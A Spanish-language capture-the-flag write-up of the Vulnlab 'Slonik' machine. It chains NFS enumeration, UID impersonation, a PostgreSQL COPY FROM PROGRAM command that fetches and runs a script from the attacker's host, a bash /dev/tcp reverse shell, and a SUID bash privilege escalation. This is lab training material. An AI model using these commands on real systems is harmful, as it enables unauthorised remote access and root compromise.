Skip to main content

Command Palette

Search for a command to run...

Slonik – Writeup (Vulnlab)

Updated
4 min read
Slonik – Writeup (Vulnlab)

NMAP

Comenzamos el reconocimiento de servicios y puertos a través de NMAP

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
|_  256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      43504/udp6  mountd
|   100005  1,2,3      47327/tcp   mountd
|   100005  1,2,3      50322/udp   mountd
|_  100005  1,2,3      50865/tcp6  mountd
2049/tcp  open  nfs      3-4 (RPC #100003)
32815/tcp open  status   1 (RPC #100024)
42617/tcp open  nlockmgr 1-4 (RPC #100021)
47327/tcp open  mountd   1-3 (RPC #100005)
56263/tcp open  mountd   1-3 (RPC #100005)
58429/tcp open  mountd   1-3 (RPC #100005)

Service Info: OS: Linux

Puerto 2049

El puerto 2049 es conocido por ser utilizado por el servicio de Network File System (NFS). NFS es un protocolo de sistema de archivos distribuido que facilita a los usuarios el acceso y la compartición de archivos entre diferentes sistemas dentro de una red. Este protocolo es especialmente útil en entornos donde se requiere un acceso compartido a archivos de manera eficiente.

Para obtener información sobre los recursos compartidos, podemos utilizar el comando showmount, que nos proporciona una lista de las exportaciones disponibles en el servidor NFS:

showmount -e 10.10.127.69

Observamos dos carpetas compartidas: /var/backups y /home. Procedemos a montarlas para explorar su contenido y buscar info valiosa:

sudo mount -t nfs 10.10.121.184: . -o nolock

Una vez montadas trato de enumerar y noto que para acceder a /home/service/ no tengo los permisos suficientes, veo que puede hacerlo el usuario 1337, ya que es el owner, por ende procedo a crearlo localmente y le asigno el mismo UID.

sudo useradd -u 1337 1337 --badname
sudo passwd 1337
su 1337

Una vez soy 1337 voy a poder acceder a la carpeta service.

Dentro de esta carpeta, encuentro varios archivos interesantes que podrían contener pistas sobre cómo proceder. El archivo .bash_history revela comandos previamente ejecutados:

El archivo .psql_history también proporciona información valiosa:

Destaca el usuario service y un hash aaabf0d39951f3e6c3e8a7911df524c2. Al verificar este hash en CrackStation, descubrimos que corresponde a la contraseña “service“.

Intento iniciar sesión a través de SSH con las credenciales válidas, pero el sistema cierra la conexión automáticamente.

Luego de un rato de seguir enumerando, chequeo la info que dan sobre el user al principio de la maquina:

Y luego de un poco de Googling, recuerdo que el .bash_history nos mostraba la linea siguiente:

file /var/run/postgresql/.s.PGSQL.5432

Este path específico es un archivo de socket Unix utilizado para la comunicación entre procesos del sistema, en este caso, entre aplicaciones y el servidor de la base de datos PostgreSQL.

Con esta información más clara, procedo a crear un PortForwarding con SSH, utilizando las credenciales que tenemos y configurando correctamente el socket remoto para conectarnos con el cliente PostgreSQL.

ssh -N -L /tmp/.s.PGSQL.5433:/var/run/postgresql/.s.PGSQL.5432 service@slonik.vl

Luego, nos conectamos con PostgreSQL:

psql -h /tmp -U postgres -p 5433

PostgreSQL

Con el comando \list, puedo listar todas las bases de datos disponibles:

Después de verificar las bases de datos, noto que lo único que obtengo es el hash del usuario service que ya tenemos. Entonces, investigo si es posible crear una reverse shell como usuario postgres.

Verifico que tengo Command Execution y realizo lo siguiente para obtener una reverse shell:

#!/bin/bash
bash -i >& /dev/tcp/10.8.0.147/443 0>&1

Desde postgres cli:

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'curl http://10.8.0.147/s | bash';
SELECT * FROM cmd_exec;

Finalmente obtengo revshell:

sudo rlwrap nc -lnvvp 443

Una vez que tengo la reverse shell, y después de enumerar un poco, establezco una conexión más estable con SSH y mantengo persistencia.

PSPY

Procedo a subir el PSPY a /tmp y luego lo ejecuto para monitorear procesos en ejecución:

Observo que se ejecuta un archivo en /usr/bin/backup como ROOT. Al verificar el código, noto lo siguiente:

#!/bin/bash

date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/

count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
  /usr/bin/rm -rf /var/backups/*
fi

/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/

Lo interesante de este script es que todo lo que creemos dentro de este path /var/lib/postgresql/14/main se hará backup en /opt/backups/current/ y será realizado por ROOT.

Creando bash suid para Privilege Escalation

cp /bin/bash pwn
chmod u+s pwn

Si ahora voy a /opt/backups/current, vemos que lo backupea como ROOT:

Ahora solo resta rootear:

./pwn -p

Pwned!